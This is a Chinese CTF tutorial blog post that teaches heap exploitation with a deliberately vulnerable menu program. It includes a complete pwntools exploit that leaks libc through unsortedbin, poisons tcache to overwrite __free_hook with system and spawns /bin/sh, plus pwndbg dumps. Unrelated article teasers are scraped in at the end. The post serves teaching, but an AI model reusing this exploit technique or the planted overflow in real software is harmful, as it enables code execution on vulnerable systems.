对堆题的总体思路

一颗小胡椒2023-03-22 09:45:21

浅说一下pwn堆并用一个简单的例子具体说明

给刚入坑堆的小朋友说的一些思路

说一下堆是什么

堆你可以看成一个结构体数组,然后数组里每个元素都会开辟一块内存来存储数据

那么这块用来存储数据的内存就是堆。

结构体数组在BSS段上,其内容就是堆的地址,也就是堆的指针。

说一下堆的理解

堆有很多题型 什么堆溢出,off by null , uaf 等。

核心的话主要是学思想,所有人都知道我要得到shell,cat flag。但是要怎么去干得有个过程,

比如我们做栈题,很容易知道我要劫持栈的返回去执行任意地址,填入shellcode什么的。

堆的话也是一样。

就是用system去执行/bin/sh。越复杂的问题往往只需要很简单的道理。

所以堆到底要怎么去执行。

我们可以把某一个函数的内容改成system,下次调用该函数即是使用system,

再在别的堆里面放入/bin/sh字符串,然后再用刚刚修改的函数,使用已经放入字符串的堆。

即可执行system(/bin/sh)

一般修改__free_hook,使其内容变成system然后再free掉放有/bin/sh的堆

举例说明

我用一个很简单的例子去一步一步简单剖析。

这里我用一个很简单的例子去一步一步简单剖析。

先给出源码和gcc编译,使用的是Ubuntu18

gcc -o lizi lizi.c
#include
#include
char *heap[0x20];
int num=0;
void create()
{
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("how big");
    scanf("%d",&size);
    heap[num]=(char *)malloc(size);
    num++;
}
void show(){
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no have things");
  } else {
    printf("Content:");
    printf("%s",heap[idx]);
  }
}
void dele()
{
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no have things");
  } else {
      free(heap[idx]);
      heap[idx]=NULL;
      num--;
  }
}
void edit()
{
  int size;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no have things");
  } else {
      puts("how big u read");
      scanf("%d",&size);
      puts("Content:");
      read(0,heap[idx],size);
  }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}

我们也不用ida了,直接源码分析,很明显在edit处能知道我们可以修改堆大小,

而导致的堆溢出修改下一个堆。

我们可以直接使用unsortedbin,申请较大的堆,再free掉,再申请个小堆,

使其从unsortedbin里面切割堆,这样,你申请的小堆就会有一些unsortedbin里面的东西。

(具体请看unsortedbin介绍)

结合exp介绍:

from pwn import *
r=process('./lizi')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
def add(size):
    r.sendlineafter("4.show",'1')
    r.sendlineafter("idx",str(size))
def dele(idx):
    r.sendlineafter("4.show",'2')
    r.sendlineafter("idx",str(idx))
def edit(idx,size,con):
    r.sendlineafter("4.show",'3')
    r.sendlineafter("idx",str(idx))
    r.sendlineafter("how big u read",str(size))
    r.sendafter("Content:",con)
def show(idx):
    r.sendlineafter("4.show",'4')
    r.sendlineafter("idx",str(idx))
add(0x420)
add(0x420)
add(0x420)
dele(1)
add(0x70)
show(2)
r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ec090
print(hex(base))
free=base+libc.sym['__free_hook']
sys=base+libc.sym['system']
add(0x70)
dele(3)
edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))
add(0x70)
add(0x70)
edit(3,0x10,"/bin/sh\x00")
edit(4,0x10,p64(sys))
dele(3)
r.interactive()

首先菜单不用多说,很简单的交互,写好就行

然后申请3个堆,为了保证能进入unsortedbin,得大于tcache的大小,然后free掉1号堆

unsortedbin
all: 0x55ce36aa7aa0 —▸ 0x7f4f9036aca0 (main_arena+96) ◂— 0x55ce36aa7aa0

可以看到1号堆已经进入到unsortedbin了

然后申请一个小堆

pwndbg> x/32gx 0x55697b2cfaa0
0x55697b2cfaa0: 0x0000000000000000 0x0000000000000081
0x55697b2cfab0: 0x00007fb8eada6090 0x00007fb8eada6090
0x55697b2cfac0: 0x000055697b2cfaa0 0x000055697b2cfaa0
0x55697b2cfad0: 0x0000000000000000 0x0000000000000000
0x55697b2cfae0: 0x0000000000000000 0x0000000000000000
0x55697b2cfaf0: 0x0000000000000000 0x0000000000000000
0x55697b2cfb00: 0x0000000000000000 0x0000000000000000
0x55697b2cfb10: 0x0000000000000000 0x0000000000000000
0x55697b2cfb20: 0x0000000000000000 0x00000000000003b1
0x55697b2cfb30: 0x00007fb8eada5ca0 0x00007fb8eada5ca0
0x55697b2cfb40: 0x0000000000000000 0x0000000000000000
0x55697b2cfb50: 0x0000000000000000 0x0000000000000000
0x55697b2cfb60: 0x0000000000000000 0x0000000000000000
0x55697b2cfb70: 0x0000000000000000 0x0000000000000000
0x55697b2cfb80: 0x0000000000000000 0x0000000000000000
0x55697b2cfb90: 0x0000000000000000 0x0000000000000000

查看申请堆的地址可以发现,11行处是已经之前free掉的1号堆,这个申请的堆会在unsortedbin里面切割

然后会有残留地址,然后我们把他show出来就可以计算一波libc地址了。

算出system,__free_hook的libc,

接着为什么要多申请一个堆,这里就是堆溢出的打法了,

在刚刚申请的堆后面再建一个堆,然后通过free掉修改内容指向__free_hook地址

再把内容改成system就可以把free当做system用了;

edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))后面打个断点

GDB看看

pwndbg> bin
tcachebins
0x80 [  1]: 0x55f37c653b30 —▸ 0x7f4497d688e8 (__free_hook) ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55f37c653ba0 —▸ 0x7f4497d66ca0 (main_arena+96) ◂— 0x55f37c653ba0
smallbins
empty
largebins
empty

会发现tcache里面已经有__free_hook了,因为已经把内容改成__free_hook的地址了。

然后申请2个堆,把tcache里面的__free_hook拿出来。

你也可以验证一下、

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x55f37bb59000     0x55f37bb5a000 r-xp     1000 0 
pwndbg> x/32gx 0x5597ecced000+0x202040
0x5597eceef040 : 0x00005597ee8ef680 0x0000000000000000
0x5597eceef050 : 0x00005597ee8efab0 0x00005597ee8efb30
0x5597eceef060 : 0x00007f7694f2e8e8 0x0000000000000000
0x5597eceef070 : 0x0000000000000000 0x0000000000000000

0x202040是heap的偏移,可以从ida里面找到。

申请出来的堆,__free_hook在4号堆

pwndbg> x/32gx 0x00007f7694f2e8e8
0x7f7694f2e8e8 <__free_hook>: 0x0000000000000000 0x0000000000000000
0x7f7694f2e8f8 : 0x0000000000000000 0x0000000000000000

成功证明,

然后已知4号堆是__free_hook了,那么将4号堆的内容改成system的地址,不就可以了吗

然后再把3号堆写入/bin/sh

然后free(实际上已经变成system)掉3号堆(实际上已经是/bin/sh)了

成功取得shell

总结

做堆题主要是要有一个总体想法就是要把什么变成system去执行shell,或者也有别的,比如malloc,等

这里只是一个总体思路,毕竟拿到堆题如果一条总想法都没有的话,就只能干坐着了。

system
本作品采用《CC 协议》,转载必须注明作者和本文链接
Systemctl 介绍Systemctl是一个systemd工具,主要负责控制systemd系统和服务管理器。Systemd的功能是用于集中管理和配置类UNIX系统。在Linux生态系统中,Systemd被部署到了大多数的标准Linux发行版中,只有为数不多的几个发行版尚未部署。Systemd通常是所有其它守护进程的父进程,但并非总是如此。开始Systemd和Systemctl 基础工具之旅01、首先检查系统上是否安装了systemd以及当前安装的Systemd的版本是什么?
之后想到了更完美的办法
一个未知的威胁行为者与对南非一家发电公司的网络攻击有关,SystemBC恶意软件的一种新变种称为DroxiDat,是可疑勒索软件攻击的前兆。
发现漏洞七月正值暑假,闲暇时光在百度上inurl一番,找到了一个古老的企业OA系统IP站点,没有域名,扫过一眼,.NET流行时代的普遍漏洞浮现在脑海里——SQL注入在用户名里输入admin’,不负期望地报了错很明显,前后端都没有对用户的输入进行过滤,直接将’带入了SQL语句进行。初步判断,此OA系统存在SQL注入漏洞。漏洞验证打开BurpSuite,设置好浏览器代理,抓下HTTP请求,一气呵成。
闲来无事,我上网随便找了一个驱动来进行测试。
美国国防巨头Elbit Systems子公司Elbit Systems of America在Black Basta勒索软件团伙宣称入侵后披露数据泄露事件。
SystemInformer是一款功能强大的系统安全检测工具,该工具功能十分强大,不仅可以帮助广大研究人员监控系统资源,而且还支持软件调试和恶意软件检测。
又是一个深夜,记录前段时间测试的过程。唉,每次小有所学就要懈怠一会。全文高强度打码。 0x00 一个登录框 使用google hacking语法,翻了一翻,锁定了目标范围内一个看起来普普通通的登录页面。
北京新云东方系统科技有限公司称,IBM无视保密协议,为新合资企业(与浪潮集团一起)谋取客户信息。 目前,该公司已经向美国纽约南区地方法院提起了诉讼。 早在2014年,华胜天成就与IBM中国合资成立北京新云东方系统科技有限公司(以下简称“新云系统”),主要负责基于Linux on Power相关的硬件和软件产品的开发,以及向当地市场销售IBM Power Systems 服务器。IBM持有新云系
一颗小胡椒
暂无描述